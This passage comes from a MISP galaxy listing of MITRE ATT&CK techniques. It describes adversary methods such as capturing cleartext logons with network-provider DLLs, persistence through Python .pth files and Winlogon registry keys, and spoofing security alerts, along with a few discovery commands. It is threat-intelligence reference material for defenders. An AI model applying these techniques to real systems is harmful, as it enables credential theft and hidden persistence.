https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59
https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154
https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/

Revert Cloud Instance - T1578.004

An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.

Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)

The tag is: *misp-galaxy:mitre-attack-pattern="Revert Cloud Instance - T1578.004"*

Table 8384. Table References

Links
https://attack.mitre.org/techniques/T1578/004
https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots
https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/

Network Provider DLL - T1556.008

Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify)

Adversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)

Adversaries may target planting malicious network provider DLLs on systems known to have

increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Provider DLL - T1556.008"*

Table 8385. Table References

Links
https://attack.mitre.org/techniques/T1556/008
https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify
https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api
https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy
https://www.youtube.com/watch?v=ggY3srD9dYs

Conditional Access Policies - T1556.009

Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.

For example, in Entra ID, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required.

By modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.

The tag is: *misp-galaxy:mitre-attack-pattern="Conditional Access Policies - T1556.009"*

Table 8386. Table References

Links
https://attack.mitre.org/techniques/T1556/009

https://cloud.google.com/iam/docs/conditions-overview
https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html
https://jumpcloud.com/support/get-started-conditional-access-policies
https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview
https://support.okta.com/help/s/article/Conditional-access-based-on-device-security-posture?language=en_US

Spoof Security Alerting - T1562.011

Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders' awareness of malicious activity.(Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.

Rather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). An adversary can also present a "healthy" system status even after infection. This can be abused to enable further malicious activity by delaying defender responses.

For example, adversaries may show a fake Windows Security GUI and tray icon with a "healthy" system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta)

The tag is: *misp-galaxy:mitre-attack-pattern="Spoof Security Alerting - T1562.011"*

Table 8387. Table References

Links
https://attack.mitre.org/techniques/T1562/011
https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/

Ignore Process Interrupts - T1564.011

Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man) These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes.

Adversaries may invoke processes using `nohup`, [PowerShell](https://attack.mitre.org/techniques/T1059/001) `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue) This may

enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.

Hiding from process interrupt signals may allow malware to continue execution, but unlike [Trap](https://attack.mitre.org/techniques/T1546/005) this does not establish [Persistence](https://attack.mitre.org/tactics/TA0003) since the process will not be re-invoked once actually terminated.

The tag is: *misp-galaxy:mitre-attack-pattern="Ignore Process Interrupts - T1564.011"*

Table 8388. Table References

Links
https://attack.mitre.org/techniques/T1564/011
https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_preference_variables?view=powershell-7.3#debugpreference
https://linux.die.net/man/1/nohup
https://man7.org/linux/man-pages/man7/signal.7.html

XDG Autostart Entries - T1547.013

Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user's desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user's desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)

Adversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user's desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.

Adversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="XDG Autostart Entries - T1547.013"*

Table 8389. Table References

Links
https://attack.mitre.org/techniques/T1547/013
https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/

https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html
https://specifications.freedesktop.org/desktop-entry-spec/latest/recognized-keys.html

Python Startup Hooks - T1546.018

Adversaries may achieve persistence by leveraging Python's startup mechanisms, including path configuration (`.pth`) files and the `sitecustomize.py` or `usercustomize.py` modules. These files are automatically processed during the initialization of the Python interpreter, allowing for the execution of arbitrary code whenever Python is invoked.(Citation: Volexity GlobalProtect CVE 2024)

Path configuration files are designed to extend Python's module search paths through the use of import statements. If a `.pth` file is placed in Python's `site-packages` or `dist-packages` directories, any lines beginning with `import` will be executed automatically on Python invocation.(Citation: DFIR Python Persistence 2025) Similarly, if `sitecustomize.py` or `usercustomize.py` is present in the Python path, these files will be imported during interpreter startup, and any code they contain will be executed.(Citation: Python Site Configuration Hook)

Adversaries may abuse these mechanisms to establish persistence on systems where Python is widely used (e.g., for automation or scripting in production environments).

The tag is: *misp-galaxy:mitre-attack-pattern="Python Startup Hooks - T1546.018"*

Table 8390. Table References

Links
https://attack.mitre.org/techniques/T1546/018
https://dfir.ch/posts/publish_python_pth_extension/
https://docs.python.org/3/library/site.html
https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

Identify business processes/tempo - T1280

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1280).

Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify business processes/tempo - T1280"*

Table 8391. Table References

Links
https://attack.mitre.org/techniques/T1280

System Owner/User Discovery - T1033

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Various utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.

On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033"*

Table 8392. Table References

Links
https://attack.mitre.org/techniques/T1033
https://us-cert.cisa.gov/ncas/alerts/TA18-106A
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html

Disguise Root/Jailbreak Indicators - T1408

An adversary could use knowledge of the techniques used by security software to evade detection(Citation: Brodie)(Citation: Tan). For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed "su" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection(Citation: Rastogi).

The tag is: *misp-galaxy:mitre-attack-pattern="Disguise Root/Jailbreak Indicators - T1408"*

Table 8393. Table References

Links

http://pages.cs.wisc.edu/}vrastogi/static/papers/rcj13b.pdf
http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions
https://attack.mitre.org/techniques/T1408
https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf
https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html

Obtain templates/branding materials - T1281

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1281).

Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Obtain templates/branding materials - T1281"*

Table 8394. Table References

Links
https://attack.mitre.org/techniques/T1281

Research relevant vulnerabilities/CVEs - T1291

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1291).

Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)

The tag is: *misp-galaxy:mitre-attack-pattern="Research relevant vulnerabilities/CVEs - T1291"*

Table 8395. Table References

Links
https://attack.mitre.org/techniques/T1291
https://securelist.com/the-great-bank-robbery-the-carbanak-apt/68732/

Conduct cost/benefit analysis - T1226

This object is deprecated as its content has been merged into the enterprise domain. Please see the

[PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1226).

Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)

The tag is: *misp-galaxy:mitre-attack-pattern="Conduct cost/benefit analysis - T1226"*

Table 8396. Table References

Links
https://attack.mitre.org/techniques/T1226

Assess KITs/KIQs benefits - T1229

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1229).

Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.

The tag is: *misp-galaxy:mitre-attack-pattern="Assess KITs/KIQs benefits - T1229"*

Table 8397. Table References

Links
https://attack.mitre.org/techniques/T1229

Determine approach/attack vector - T1245

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1245).

The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine approach/attack vector - T1245"*

Table 8398. Table References

Links
https://attack.mitre.org/techniques/T1245

Mine technical blogs/forums - T1257

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1257).

Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Mine technical blogs/forums - T1257"*

Table 8399. Table References

Links
https://attack.mitre.org/techniques/T1257

Unused/Unsupported Cloud Regions - T1535

Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.

Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.

A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.

An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)

The tag is: *misp-galaxy:mitre-attack-pattern="Unused/Unsupported Cloud Regions - T1535"*

Table 8400. Table References

Links
https://attack.mitre.org/techniques/T1535

https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc

Search Open Websites/Domains - T1593

Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)

Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).

The tag is: *misp-galaxy:mitre-attack-pattern="Search Open Websites/Domains - T1593"*

Table 8401. Table References

Links
https://attack.mitre.org/techniques/T1593
https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e
https://www.exploit-db.com/google-hacking-database
https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks

Obtain booter/stressor subscription - T1396

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1396).

Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)

The tag is: *misp-galaxy:mitre-attack-pattern="Obtain booter/stressor subscription - T1396"*

Table 8402. Table References

Links
https://attack.mitre.org/techniques/T1396
https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/
https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/

https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/

Organizational Weakness Identification - TA0020

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0020/).

Organizational weakness identification consists of identifying and analyzing weaknesses and vulnerabilities from the intelligence gathering phases which can be leveraged to gain access to target or intermediate target organizations of interest.

The tag is: *misp-galaxy:mitre-attack-pattern="Organizational Weakness Identification - TA0020"*

Table 8403. Table References

Links
https://attack.mitre.org/tactics/TA0020

Command and Control - TA0011

The adversary is trying to communicate with compromised systems to control them.

Command and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim's network structure and defenses.

The tag is: *misp-galaxy:mitre-attack-pattern="Command and Control - TA0011"*

Table 8404. Table References

Links
https://attack.mitre.org/tactics/TA0011

Application Window Discovery - T1010

Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)

Adversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010"*

Table 8405. Table References

Links
https://attack.mitre.org/techniques/T1010
https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/
https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/

Priority Definition Planning - TA0012

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0012/).

Priority definition planning consists of the process of determining the set of Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ) required for meeting key strategic, operational, or tactical goals. Leadership outlines the priority definition (may be considered a goal) around which the adversary designs target selection and a plan to achieve. An analyst may outline the priority definition when in the course of determining gaps in existing KITs or KIQs.

The tag is: *misp-galaxy:mitre-attack-pattern="Priority Definition Planning - TA0012"*

Table 8406. Table References

Links
https://attack.mitre.org/tactics/TA0012

Priority Definition Direction - TA0013

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0013/).

Priority definition direction consists of the process of collecting and assigning requirements for meeting Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ) as determined by leadership.

The tag is: *misp-galaxy:mitre-attack-pattern="Priority Definition Direction - TA0013"*

Table 8407. Table References

Links
https://attack.mitre.org/tactics/TA0013

OS Credential Dumping - T1003

Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.

Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

The tag is: *misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003"*

Table 8408. Table References

Links
http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
https://adsecurity.org/?p=1729
https://attack.mitre.org/techniques/T1003
https://github.com/mattifestation/PowerSploit
https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf
https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
https://msdn.microsoft.com/library/cc228086.aspx
https://msdn.microsoft.com/library/cc237008.aspx
https://msdn.microsoft.com/library/cc245496.aspx
https://msdn.microsoft.com/library/dd207691.aspx
https://wiki.samba.org/index.php/DRSUAPI

Winlogon Helper DLL - T1004

Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\Software\[Wow6432Node\]Microsoft\Windows NT\CurrentVersion\Winlogon\</code> and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)

- Winlogon\Notify - points to notification package DLLs that handle Winlogon events

- Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
- Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.

The tag is: *misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004"*

Table 8409. Table References

Links
https://attack.mitre.org/techniques/T1004
https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
https://capec.mitre.org/data/definitions/579.html
https://technet.microsoft.com/en-us/sysinternals/bb963902

Modify System Partition - T1400

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.

Many Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.

The tag is: *misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400"*

Table 8410. Table References

Links
https://attack.mitre.org/techniques/T1400
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://source.android.com/security/verifiedboot/
https://www.apple.com/business/docs/iOS_Security_Guide.pdf

Compile After Delivery - T1500

Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)

Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)

The tag is: *misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1500"*

Table 8411. Table References

Links
https://attack.mitre.org/techniques/T1500
https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf

Technical Information Gathering - TA0015

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0015/).

Technical information gathering consists of the process of identifying critical technical elements of intelligence an adversary will need about a target in order to best attack. Technical intelligence gathering includes, but is not limited to, understanding the target's network architecture, IP space, network services, email format, and security procedures.

The tag is: *misp-galaxy:mitre-attack-pattern="Technical Information Gathering - TA0015"*

Table 8412. Table References

Links
https://attack.mitre.org/tactics/TA0015

Direct Volume Access - T1006

Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)

Utilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)

The tag is: *misp-galaxy:mitre-attack-pattern="Direct Volume Access - T1006"*

Table 8413. Table References

Links
http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin
https://attack.mitre.org/techniques/T1006
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
https://lolbas-project.github.io/lolbas/Binaries/Esentutl/

People Information Gathering - TA0016

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0016/).

People Information Gathering consists of the process of identifying critical personnel elements of intelligence an adversary will need about a target in order to best attack. People intelligence gathering focuses on identifying key personnel or individuals with critical accesses in order to best approach a target for attack. It may involve aspects of social engineering, elicitation, mining social media sources, or be thought of as understanding the personnel element of competitive intelligence.

The tag is: *misp-galaxy:mitre-attack-pattern="People Information Gathering - TA0016"*

Table 8414. Table References

Links
https://attack.mitre.org/tactics/TA0016

Organizational Information Gathering - TA0017

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0017/).

Organizational information gathering consists of the process of identifying critical organizational elements of intelligence an adversary will need about a target in order to best attack. Similar to competitive intelligence, organizational intelligence gathering focuses on understanding the operational tempo of an organization and gathering a deep understanding of the organization and how it operates, in order to best develop a strategy to target it.

The tag is: *misp-galaxy:mitre-attack-pattern="Organizational Information Gathering - TA0017"*

Table 8415. Table References

Links
https://attack.mitre.org/tactics/TA0017

System Service Discovery - T1007

Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Splunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020)

Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: *misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007"*

Table 8416. Table References

Links
https://attack.mitre.org/techniques/T1007
https://www.aquasec.com/blog/threat-alert-kinsing-malware-container-vulnerability/
https://www.elastic.co/security-labs/under-the-sadbridge-with-gosar
https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/
https://www.splunk.com/en_us/blog/security/breaking-down-linux-gomir-understanding-this-backdoors-ttps.html

Technical Weakness Identification - TA0018

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0018/).

Technical weakness identification consists of identifying and analyzing weaknesses and vulnerabilities collected during the intelligence gathering phases to determine best approach based on technical complexity and adversary priorities (e.g., expediency, stealthiness).

The tag is: *misp-galaxy:mitre-attack-pattern="Technical Weakness Identification - TA0018"*

Table 8417. Table References

Links
https://attack.mitre.org/tactics/TA0018

Taint Shared Content - T1080

Adversaries may deliver payloads to remote systems by adding content to shared storage locations,

